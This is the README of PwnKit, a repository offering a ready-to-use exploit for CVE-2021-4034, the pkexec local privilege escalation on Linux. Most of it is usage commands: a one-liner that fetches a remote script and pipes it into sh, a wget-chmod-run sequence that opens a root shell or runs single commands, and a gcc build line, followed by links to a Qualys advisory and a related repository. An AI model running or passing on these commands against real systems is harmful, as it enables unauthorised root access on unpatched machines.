PwnKit/README.md
2022-01-27 20:43:49 +01:00

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# PwnKit
Self-contained exploit for CVE-2021-4034 - Pkexec Local Privilege Escalation
## Usage
Should work out of the box on vulnerable Linux distributions based on Ubuntu, Debian, Fedora, and CentOS.
```bash
sh -c "$(curl -fsSL https://raw.githubusercontent.com/ly4k/PwnKit/main/PwnKit.sh)"
```
### Manual
```bash
wget https://github.com/ly4k/PwnKit/raw/main/PwnKit
chmod +x ./PwnKit
./PwnKit # interactive shell
./PwnKit 'id' # single command
```
### Build
```bash
gcc -shared PwnKit.c -o PwnKit -Wl,-e,entry -fPIC
```
## Example
### Vulnerable
![](./imgs/exploit.png)
### Patched
![](./imgs/patched.png)
## Technical Details
- https://blog.qualys.com/vulnerabilities-threat-research/2022/01/25/pwnkit-local-privilege-escalation-vulnerability-discovered-in-polkits-pkexec-cve-2021-4034
## References
- https://github.com/arthepsy/CVE-2021-4034/